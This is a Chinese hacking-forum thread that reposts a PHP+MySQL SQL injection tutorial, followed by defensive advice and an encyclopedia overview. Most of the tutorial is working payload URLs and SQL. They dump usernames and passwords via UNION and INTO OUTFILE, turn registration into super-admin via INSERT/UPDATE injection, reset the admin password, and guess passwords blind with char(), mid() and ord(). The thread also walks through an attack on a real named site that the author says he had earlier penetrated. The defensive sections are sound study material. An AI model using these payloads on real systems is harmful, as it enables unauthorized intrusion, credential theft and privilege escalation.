  所以我们把应该使前面的查询语句为假,才能只导出后面查询的内容,只要提交: http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

  这样才能得到我们想要的资料:
  值得注意的是想要导出文件,必须magic_quotes_gpc没有打开,并且程序也没有用到addslashes()函数,还有不能对单引号做任何过滤,因为我们在提交导出路径的时候,一定要用引号包含起来,否则,系统不会认识那是一个路径,也不用尝试用char()或者什么函数,那是徒劳。
INSERT
  如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了,其实还有两个危害更大的操作,那就是INSERT和UPDATE语句,这类例子不多,先面先说说INSERT,这主要应用于改写插入的数据,我们来看个简单而又广泛存在的例子,看看下面的数据结构:
CREATE TABLE `user` (
`userid` INT NOT NULL AUTO_INCREMENT ,
`username` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 50 ) NOT NULL ,
`homepage` VARCHAR( 255 ) NOT NULL ,
`userlevel` INT DEFAULT '1' NOT NULL ,
PRIMARY KEY ( `userid` )
);

  其中的userlevel代表用户的等级,1是普通用户,2是普通管理员,3是超级管理员,一个注册程序默认是注册成普通用户,如下:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');

  默认userlevel字段是插入1,其中的变量都是没有经过过滤就直接写入数据库的,不知道大家有什么想法?对,就是直接注入,使我们一注册就是超级管理员。我们注册的时候,构造$homepage变量,就可以达到改写的目的,指定$homepage变量为: http://4ngel.net', '3’)#

  插入数据库的时候就变成:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');

  这样就注册成为超级管理员了。但这种利用方法也有一定的局限性,比如,我没有需要改写的变量如userlevel字段是数据库的第一个字段,前面没有地方给我们注入,我们也没有办法了。
或许INSERT还有更广泛的应用,大家可以自行研究,但原理都是一样的。
UPDATE
  和INSERT相比,UPDATE的应用更加广泛,如果过滤不够,足以改写任何数据,还是拿刚才的注册程序来说,数据结构也不变,我们看一下用户自己修改自己的资料,SQL语句一般都是这样写的:
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'

  用户可以修改自己的密码和主页,大家有什么想法?总不至于还是提升权限吧?程序中的SQL语句又没有更新userlevel字段,怎么提升啊?还是老办法,构造$homepage变量, 指定$homepage变量为: http://4ngel.net', userlevel='3

  整个SQL语句就变成这样:
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'

  我们是不是又变成超级管理员了?程序不更新userlevel字段,我们自己来。
还有更加绝的,直接修改任意用户的资料,还是刚才的例句,但这次安全一点,使用MD5加密:
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

  尽管密码被加密了,但我们还是可以构造我们需要的语句,我们指定$password为:
mypass)' WHERE username='admin'#

  这时整个语句变为:
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

  这样就更改了更新的条件,我管你后面的代码是不是在哭这说:我们还没有执行啊。当然,也可以从$id下手,指定$id为:
' OR username='admin'

  这时整个语句变为:
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

  照样也可以达到修改的目的,所以说注入是非常灵活的技术。如果有些变量是从数据库读取的固定值,甚至用$_SESSION['username']来读取服务器上的SESSION信息时,我们就可以在原来的WHERE之前自己构造WHERE并注释掉后面的代码,由此可见,灵活运用注释也是注入的技巧之一。这些技巧把注入发挥得淋漓尽致。不得不说是一种艺术。
  变量的提交方式可以是GET或POST,提交的位置可以是地址栏、表单、隐藏表单变量或修改本地COOKIE信息等,提交的方式可以是本地提交,服务器上提交或者是工具提交,多种多样就看你如何运用了。
高级应用
1、 使用MYSQL内置函数
  我们在ACCESS、MSSQL中的注入,有很多比较高级的注入方法,比如深入到系统,猜中文等,这些东西,在MYSQL也能很好得到发挥,其实在MYSQL有很多内置函数都可以用在SQL语句里,这样就可以使我们能在注入时更灵活,得到更多关于系统的信息。有几个函数是比较常用的:
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
……

  各个函数的具体作用大家可以查阅MYSQL手册,比如下面这句UPDATE:
UPDATE article SET title=$title WHERE articleid=1

  我们可以指定$title为以上的各个函数,因为没有被引号包含,所以函数是能正确执行的:
UPDATE article SET title=DATABASE() WHERE id=1
#把当前数据库名更新到title字段
UPDATE article SET title=USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SYSTEM_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SESSION_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=CURRENT_USER() WHERE id=1
#把当前会话被验证匹配的用户名更新到title字段

  灵活运用MYSQL内置的函数,可以获得不少有用的信息,比如数据库版本、名字、用户、当前数据库等,比如前面跨表查询的例子,提交: http://127.0.0.1/injection/show.php?id=1

  可以看到一篇文章,我们怎么样才能知道MYSQL数据库的相关信息呢?同样也是用MYSQL内置函数配合UNION联合查询,不过相比之下就简单得多了,甚至还可以读取文件!既然要用到UNION,同样要满足UNION的条件――字段数、数据类型相同。如果我们知道了数据结构,直接构造: http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()

  就可以返回当前数据库名和数据库版本,构造是比较容易的。
  下面附上一段由我好友Super・Hei写的代码,可以把字符串转换为ASCII代码。感谢提供。
#!/usr/bin/perl
#cody by Super・Hei
#to angel
#C:\>test.pl c:\boot.ini
#99,58,92,98,111,111,116,46,105,110,105
$ARGC = @ARGV;
if ($ARGC != 1) {
  print "Usage: $0 \n";
  exit(1);
}
$path=shift;
@char = unpack('C*', $path);
$asc=join(",",@char);
print $asc;

2、不加单引号注入
注:现在我们假设magic_quotes_gpc为on了。
  众所周知,整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多问题。但是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成整形类型,这个就需要用到CHAR(),ASCII(),ORD(),CONV()这些函数了,举个简单的例子:
SELECT * FROM user WHERE username='angel'

  如何使$username不带引号呢?很简单我们这样提交就可以了。
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制。
SELECT * FROM user WHERE username=0x616E67656C
# 0x616E67656C 相当于angel,十六进制。

  其他函数大家自己去测试好了,但是前提就如上面所说的,我们可以构造的变量不被引号所包含才有意义,不然我们不管构造什么,只是字符串,发挥不了作用,比如前面猜密码的例子(user,php),我们把查询条件改为userid:
SELECT * FROM user WHERE userid=userid

  按照正常的,提交: http://127.0.0.1/injection/user.php?userid=1

  就可以查询userid为1的用户资料,因为1是数字,所以有没有引号都无所谓,但是如果我们构造: http://127.0.0.1/injection/user.php?userid=1 and password=mypass

  绝对错误,因为mypass是字符串,除非提交: http://127.0.0.1/injection/user.php?userid=1 and password='mypass'

  由于magic_quotes_gpc打开的关系,这个是绝对不可能的。引号会变成/',我们有什么办法可以把这些字符串变成整形数据吗?就是用CHAR()函数,如果我们提交: http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)

  正常返回,实践证明,我们用CHAR()是可行的,我们就把CHAR()用进LEFT函数里面逐位猜解! http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)

  正常返回,说明userid为1的用户,password字段第一位是char(109),我们继续猜: http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)

  又正常返回,说明正确,但这样影响到效率,既然是整形,我们完全可以用比较运算符来比较: http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)

  然后适当调整char()里面的数字来确定一个范围,很快就可以猜出来,到了后面的时候,还是可以用比较运算符来比较: http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111)

  而原来已经猜好的不用改变了,很快就可以猜完: http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115)

  然后在mysql>命令提示符下或者在phpMyadmin里面执行:
select char(109,121,112,97,115,115)

  就会返回:mypass


B5层 发表时间: 11-05-19 21:48

回复: DarK-Z [bridex]   论坛用户   登录
当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数,从字符串 str 的 pos 位置起返回 len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子,我们猜password字段的第三位、第四位试试,第三位是p,第四位是a,我们这样构造: http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112) http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)

  我们要的结果就迸出来了。当然,如果觉得麻烦,还可以用更简单的办法,就是利用ord()函数,具体作用可以去查看MYSQL参考手册,该函数返回的是整形类型的数据,可以用比较运算符进行比较、当然得出的结果也就快多了,也就是这样提交: http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111 http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))<113 http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112

  这样我们就得出结果了,然后我们再用char()函数还原出来就好了。至于其他更多函数,大家可以自己去试验,限于篇幅也不多说了。
3、快速确定未知数据结构的字段及类型
  如果不清楚数据结构,很难用UNION联合查询,这里我告诉大家一个小技巧,也是非常有用非常必要的技巧,充分发挥UNION的特性。
  还是拿前面的show.php文件做例子,当我们看到形如xxx.php?id=xxx的URL的时候,如果要UNION,就要知道这个xxx.php查询的数据表的结构,我们可以这样提交来快速确定有多少个字段: http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1

  有多少个“1”就表示有多少个字段,可以慢慢试,如果字段数不相同,就肯定会出错,如果字段数猜对了,就肯定会返回正确的页面,字段数出来了,就开始判断数据类型,其实也很容易,随便用几个字母代替上面的1,但是由于magic_quotes_gpc打开,我们不能用引号,老办法,还是用char()函数,char(97)表示字母“a”,如下: http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

  如果是字符串,那就会正常显示“a”,如果不是字符串或文本,也就是说是整形或布尔形,就会返回“0”,如图:

  判断最主要靠什么?经验,我以前一直都说,经验很重要,丰富经验能更好的作出正确的判断,因为程序的代码是千变万化的,我们这里是只是举个最简单的例子,这里由于局限性,程序都是我自己写、自己测试的。方法因程序而异。希望大家在实战中,注意区别,不要照搬,灵活运用才是根本。
4、猜数据表名
  在快速确定未知数据结构的字段及类型的基础上,我们又可以进一步的分析整个数据结构,那就是猜表名,其实使用UNION联合查询的时候,不管后面的查询怎么“畸形”,只要没有语句上的问题,都会正确返回,也就是说,我们可以在上面的基础上,进一步猜到表名了,比如刚才我们提交: http://127.0.0.1/injection/show.php?id=1 union select 1,1,1

  返回正常的内容,就说明这个文件查询的表内是存在3个字段的,然后我们在后面加入from table_name,也就是这样: http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user

  如果这个表是存在的,那么同样会返回应该显示的内容,如果表不存在,当然就会出错了,所以我的思路是先获得有漏洞的文件所查询表的数据结构,确定结果后再进一步查询表,这个手工操作是没有效率的问题的,不到一分钟就可以查询到了,比如我们在测试www.***bai.net就是这样,后面的实例会涉及到。
  但是有一个问题,由于很多情况下,很多程序的数据表都会有一个前缀,有这个前缀就可以让多个程序共用一个数据库。比如:
site_article
site_user
site_download
forum_user
forum_post
……

  如果安全意识高的话,管理员会加个表名前缀,那猜解就很麻烦了,不过完全可以做一个表名列表来跑。这里就不多说了,后面会有一个具体的例子来解开一切迷茫^_^……
实例
  下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行一次大概的验证,出于影响等诸多因素,我们称这个站点为HB(www.***bai.net),HB使用的是夜猫的文章系统和下载系统,不过文章系统已经升级了,我们就不看了,下载系统是绝对有问题的,不过由于我现在写文章的电脑不上网,我用相同的下载系统在本地进行一次模拟的测试。实际上,我事前早用更狠毒的技术渗透过HB。
  首先我们找到有问题的文件,show.php?id=1,我们马上看看数据结构和表名,看看HB有没有改字段和表名,我早知道夜猫下载系统1.0.1版的软件信息的表有19个字段,就提交: http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

  注意,这里有19个“1”,返回正常的页面,我可以可以肯定字段没有变,我们也就别拖拉了,直接看看夜猫的默认用户数据表是否存在: http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

  正常返回,如图,如果URL不清楚可以看标题那里:

  嗯,这个HB还真是够懒的,这么烂的程序也不知道先修改一下再用,不过也是,没有多少人和我一样有闲心先去加固程序才用的,再看默认的用户id还在不在? http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  忘记了,就算不存在id为1的用户,前面的查询是真的,照样会正常返回数据库的软件信息,我们只能让前面的查询为假,才能使后面查询的结果显示出来,但我们要注意一点,show.php文件里面有这样一段代码:
if ($id > "0" && $id < "999999999" ):
//这里是正确执行的代码
else:
echo "<p><center><a href=./list.php>无记录</a></p>\n";

  也就是说我们的ID的值再怎么离谱也不能在0和999999999之外,HB的软件肯定不会超过10000个的,我们就提交: http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  正常返回了,表格里的数据全部是“1”,说明ID还在哦。如果不存在的话,页面只返回的数据全部是不详,因为程序的判断是如果数据为空就显示不详。现在确定了ID存在后,还要确定是不是管理员才行啊: http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

  程序规定groupid为1是超级管理员,既然都返回正确信息了,我们就直接构造畸形语句,暴出我们需要的用户名和密码,嘿嘿,首先看看ymdown表的数据结构,因为show.php是查询它的,所以我们应该看它的数据结构。
CREATE TABLE ymdown (
 id int(10) unsigned NOT NULL auto_increment,
 name varchar(100) NOT NULL,
 updatetime varchar(20) NOT NULL,
 size varchar(100) NOT NULL,
 empower varchar(100) NOT NULL,
 os varchar(100) NOT NULL,
 grade smallint(6) DEFAULT '0' NOT NULL,
 viewnum int(10) DEFAULT '0' NOT NULL,
 downnum int(10) DEFAULT '0' NOT NULL,
 homepage varchar(100), demo varchar(100),
 brief mediumtext, img varchar(100),
 sort2id smallint(6) DEFAULT '0' NOT NULL,
 down1 varchar(100) NOT NULL,
 down2 varchar(100),
 down3 varchar(100),
 down4 varchar(100),
 down5 varchar(100),
 PRIMARY KEY (id)
);

  用户名和密码的数据类型都是varchar,所以我们要选择ymdown表里数据类型是varchar来,如果把varchar的数据写到int的地方当然是不可能显示的了,由于updatetime(更新日期)的长度是20,可能会出现显示不完全的情况,我们就把用户名显示在name(软件标题)那里,密码显示在size(文件大小)那里好了,在19个“1”中,name和size分别是第二个和第四个,我们提交: http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  结果成功返回了我们所需要的用户名和密码,如图:
http://www.4ngel.net/img/php11.gif
验证测试结果
  整个渗透过程就结束了,不过由于黑白把入口给改了,无法登陆,但我们仅仅测试注入,目的已经达到了,就没有必要进后台了,我后来又继续构造SQL语句来验证我们获取的密码是否正确,依次提交: http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
#验证第一位密码 http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50
#验证第二位密码 http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
#验证第三位密码 http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52
#验证第四位密码 http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53
#验证第五位密码 http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54
#验证第六位密码

  用select char(49,50,51,52,53,54)就可以得到123456。
  OK!测试结束,验证我们的结果没有错误。说明一下,密码本身是123456,可以不用ord()函数而直接猜,但为了大家能看到一个完整的过程,我还是“专业”一点好了。下面补一幅截图,是本文写完后,重新测试HB时截取的:

注入的防范
  防范可以从两个方面着手,一个就是服务器,二个就是代码本身,介绍服务器配置的文章很多了,无非就是把magic_quotes_gpc设置为On,display_errors设置为Off,这里也就不在多说,既然本文接触都是程序的问题,我们还是从程序本身寻找原因。
  如果说php比asp易用,安全,从内置的函数就可以体现出来。如果是整形的变量,只需使用一个intval()函数即可解决问题,在执行查询之前,我们先处理一下变量,如下面的例子就是很安全的了:
$id = intval($id);
mysql_query("SELECT * FROM article WHERE articleid='$id'");

  或者这样写:
mysql_query("SELECT * FROM article WHERE articleid=".intval($id)."")

  不管如何构造,最终还是会先转换为整形猜放入数据库的。很多大型程序都是这样写,非常简洁。
  字符串形的变量也可以用addslashes()整个内置函数了,这个函数的作用和magic_quotes_gpc一样,使用后,所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的溢出字符。而且新版本的php,就算magic_quotes_gpc打开了,再使用addslashes()函数,也不会有冲突,可以放心使用。例子如下:
$username = addslashes($username);
mysql_query("SELECT * FROM members WHERE userid='$username'");

  或者这样写:
mysql_query("SELECT * FROM members WHERE userid=".addslashes($username)."")

  使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补方法就是直接把“_”、“%”转换为“\_”“\%”就可以了,当然也不要忘记使用addslashes()函数。具体代码如下:
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);

  不用像ASP那样,过滤一点变量,就要写一大堆的代码,就是上面的一点点代码,我们就可以把本文所有的问题解决了,是不是很简便?
后记
  这篇文章是我自2004年3月份以来利用课余时间学习研究的,5月中旬写完,里面的所有东西都是经过我亲自测试的,本文仅仅算是技术总结吧,还有很多技术难点没有解决的,因此错漏是难免的,欢迎请大家指正。
  还有不少危险性极高的东西,只要少数条件成立,一般都可以进入服务器,考虑到严重性和广泛性,我并没有写出来,我个人估计,不久将会出现PHP+MYSQL注入的一系列工具,技术也会普及和告诉发展。但我建议大家一定要弄清楚原理,工具只是武器,技术才是灵魂,工具只是提高效率罢了,并不代表你的技术高超。
  大家看到这篇文章的时候,估计我已经高考完了,暑假我会写一篇更深入的研究。
  为了让更多人了解并掌握PHP+MYSQL的注入技术,我

B6层 发表时间: 11-05-19 21:49

回复: DarK-Z [bridex]   论坛用户   登录
SQL注入攻击详细介绍及如何防止
SQL注入攻击对企业安全形成巨大潜在威胁。一旦这种攻击得逞,黑客可利用这种攻击危害你的网络并访问破坏你的数据,甚至控制你的电脑。

什么是SQL注入?

SQL注入的原理十分简单。当应用把客户数据当作一种输入的时候,那些心怀不轨的人就有机会注入刻意编写的数据,这些数据会导致输入行为会成为SQL查询的一部分。

SQL注入是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。

当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造(或者影响)动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。

例如,以下列代码为例:

SELECT * FROM Users WHERE Username='$username' AND Password='$password'

该代码旨在展示用户列表的用户名和密码记录。使用Web界面,当系统提示输入用户名和密码的时候,黑客可能会输入:

1 or 1=1

1 or 1=1

结果是:

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

黑客已经将OR条件成功注入验证过程。更糟糕的是,条件'1' = '1'通常为真,因此这个SQL查询往往会导致黑客绕过验证过程。

用类似“;”的符号将另一个查询附加到已有查询之后(此附加查询还对一部分已有查询进行解释)。黑客可能删除你的整个列表,甚至更改其中的数据。黑客可以用命令来控制你的操作系统,从而操控你的电脑,并将之作为攻击你其他网络的一个中间站。总而言之,SQL注入攻击可带来以下后果:

数据私密性的丧失

数据完整性的丧失

数据泄漏

损害整个网络

如何才能防止SQL注入攻击呢?

要做到防微杜渐,最重要的是清理数据和验证数据,这两项工作不能出现懈怠。清理数据是指通过函数运行任何递交的数据(如MySQL的mysql_real_escape_string()函数),以确保任何有威胁的字符,如“’”, 不会以数据方式输入到SQL查询。

验证则有所不同。验证是确保数据以被许可的方式递交。在最基础的操作中,验证包括确保电子邮件地址包含@符号,当验证只接受整数的时候,就只能提供数字,而且数据长度不能超过最大限度。验证通常以两种方式执行:一是列出危险字符或不受欢迎字符的黑名单;二是列出给定字符的名单,后者需要编程人员花费更多心思。虽然可以在客户端验证数据,但是黑客同样能够对数据进行修改,因此用户有必要在服务器端验证所有数据。

但是清理数据和验证数据还远远不能保障用户数据的安全。下面为大家介绍十种方法,帮助大家防止或减缓SQL注入攻击:

1. 不信任任何人:假设所有用户递交的数据全部危险,对所有数据都进行验证。

2. 没必要的话,就不要使用动态SQL:包括使用过的预备陈述,参数化的查询或保存好的进程。

3. 更新和补丁:通常程序和数据库中都存在黑客可以通过SQL注入而利用的漏洞,因此非常有必要使用程序补丁和更新。

4. 防火墙:无论是基于软件还是基于设备,都可考虑使用Web应用防火墙(WAF)来过滤恶意数据。好的防火墙具备一套完整的默认规则,而且很容易随时添加新规则。一个WAF可以在新漏洞的相应补丁推出前,为用户提供有效的安全保护。

5. 减少攻击界面:及时对数据库的功能进行处理,以免被黑客利用。例如,xp_cmdshell扩展了MS SQL中保存的进程,而这使得Windows命令窗口激增,并且还通过了一个用于执行的字符串,这些无疑都对黑客有益。被xp_cmdshell激增的Windows进程有着和SQL Server服务帐户相同的优先安全权限。

6. 使用合适的权限:使用管理员级别权限的时候不要连接你的数据库,除非迫不得已。使用有限的帐户权限有利于数据安全,而且这样也能限制黑客的权限。

7. 保密隐私:假设你的应用不安全,而且会随加密操作或哈希密码以及其他机密数据,包括连接字符串,作出相应调整。

8. 不要泄露过多信息:黑客可以从出错信息中读取大量有关数据库架构的信息,因此要确保这些出错信息中尽可能显示比较少的信息。使用RemoteOnly CustomErrors模式在本地电脑上显示冗长的错误信息,如此外部黑客的不良操作就只能收到无法操作的出错信息。

9. 不要忘记根本原则:经常更改应用帐户的密码。虽然这是常识,但是实际生活中,很多人的密码都是几个月甚至几年也难换一次。

10. 购买更好的软件:在买下软件前,就让代码编写者先检查代码并修复客户应用中的安全漏洞。



B7层 发表时间: 11-06-08 11:40

回复: DarK-Z [bridex]   论坛用户   登录
SQL注入


随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

目录

Sql 注入
外文参考资料
sql注入初步介绍1.1 普通SQL注入技术概述
1.2 SQL注入攻击的防御手段
Sql 注入
外文参考资料
sql注入初步介绍 1.1 普通SQL注入技术概述
1.2 SQL注入攻击的防御手段
展开    

编辑本段Sql 注入
  SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据。   据统计,网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。
编辑本段外文参考资料
  Incorrectly filtered escape characters   This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into a SQL statement. This results in the potential manipulation of the statements performed on the database by the end user of the application.   The following line of code illustrates this vulnerability:   statement := "SELECT * FROM users WHERE name = '" + userName + "';"   This SQL code is designed to pull up the records of a specified username from its table of users, however, if the "userName" variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended. For example, setting the "userName" variable as   a' or 't'='t   renders this SQL statement by the parent language:   SELECT * FROM users WHERE name = 'a' OR 't'='t';   If this code were to be used in an authentication procedure then this example could be used to force the selection of a valid username because the evaluation of 't'='t' is always true.   On some SQL servers such as MS SQL Server any valid SQL command may be injected via this method, including the execution of multiple statements. The following value of "userName" in the statement below would cause the deletion of the "users" table as well as the selection of all data from the "data" table (in essence revealing the information of every user):   a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '%   This input renders the final SQL statement as follows:   SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM DATA WHERE name LIKE '%';   Other SQL implementations won't execute multiple commands in the same SQL query as a security measure. This prevents hackers from injecting entirely separate queries, but doesn't stop them from modifying queries.   Incorrect type handling   This form of SQL injection occurs when a user supplied field is not strongly typed or is not checked for type constraints. This could take place when a numeric field is to be used in a SQL statement, but the programmer makes no checks to validate that the user supplied input is numeric. For example:   statement := "SELECT * FROM data WHERE id = " + a_variable + ";"   It is clear from this statement that the author intended a_variable to be a number correlating to the "id" field. However, if it is in fact a string then the end user may manipulate the statement as they choose, thereby bypassing the need for escape characters. For example, setting a_variable to   1;DROP TABLE users   will delete the "users" table from the database as the rendered SQL would be rendered as follows:   SELECT * FROM DATA WHERE id = 1;DROP TABLE users;
编辑本段sql注入初步介绍
  php 网站的使用超过了20% asp的使用已经减少了(更正) php已经成了主流web开发语言之一!
1.1 普通SQL注入技术概述
  目前没有对SQL注入技术的标准定义,以下是从2个方面进行了描述:   (1) 脚本注入式的攻击   (2) 恶意用户输入用来影响被执行的SQL脚本   当一个攻击者通过在查询语句中插入一系列的SQL语句来将数据写入到应用程序中,这种方法就可以定义成SQL注入。   “从一个数据库获得未经授权的访问和直接检索”,SQL注入攻击就其本质而言,它利用的工具是SQL的语法,针对的是应用程序开发者编程过程中的漏洞,“当攻击者能够操作数据,往应用程序中插入一些SQL语句时,SQL注入攻击就发生了”。实际上,SQL注入是存在于常见的多连接的应用程序中一种漏洞,攻击者通过在应用程序中预先定义好的查询语句结尾加上额外的SQL语句元素,欺骗数据库服务器执行非授权的任意查询。这类应用程序一般是网络应用程序(Web Application),它允许用户输入查询条件,并将查询条件嵌入SQL请求语句中,发送到与该应用程序相关联的数据库服务器中去执行。通过构造一些畸形的输入,攻击者能够操作这种请求语句去获取预先未知的结果。
1.2 SQL注入攻击的防御手段
  由于越来越多的攻击利用了SQL注入技术,也随之产生了很多试图解决注入漏洞的方案。目前被提出的方案有:   (1) 在服务端正式处理之前对提交数据的合法性进行检查;   (2) 封装客户端提交信息;   (3) 替换或删除敏感字符/字符串;   (4) 屏蔽出错信息。   方案(1)被公认是最根本的解决方案,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作,不过这需要开发者能够以一种安全的方式来构建网络应用程序,虽然已有大量针对在网络应用程序开发中如何安全地访问数据库的文档出版,但仍然有很多开发者缺乏足够的安全意识,造成开发出的产品中依旧存在   注入漏洞;   方案(2)的做法需要RDBMS的支持,目前只有Oracle采用该技术;   方案(3)则是一种不完全的解决措施,例如,当客户端的输入为“…ccmdmcmdd…”时,在对敏感字符串“cmd”替换删除以后,剩下的字符   正好是“…cmd…”;   方案(4)是目前最常被采用的方法,很多安全文档都认为SQL注入攻击需要通过错误信息收集信息,有些甚至声称某些特殊的任务若缺乏详细的错误信息则不能完成,这使很多安全专家形成一种观念,即注入攻击在缺乏详细错误的情况下不能实施。而实际上,屏蔽错误信息是在服务端处理完毕之后进行补救,攻击其实已经发生,只是企图阻止攻击者知道攻击的结果而已。   SQL盲注技术就是一些攻击者使用的新技术,其在错误信息被屏蔽的情况下使攻击者仍能获得所需的信息,并继续实施注入攻击。词条图册更多图册
扩展阅读:
1
维客SQL_Injection,www.fengqiaoju.cn(枫桥居)


B8层 发表时间: 11-06-12 15:25

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号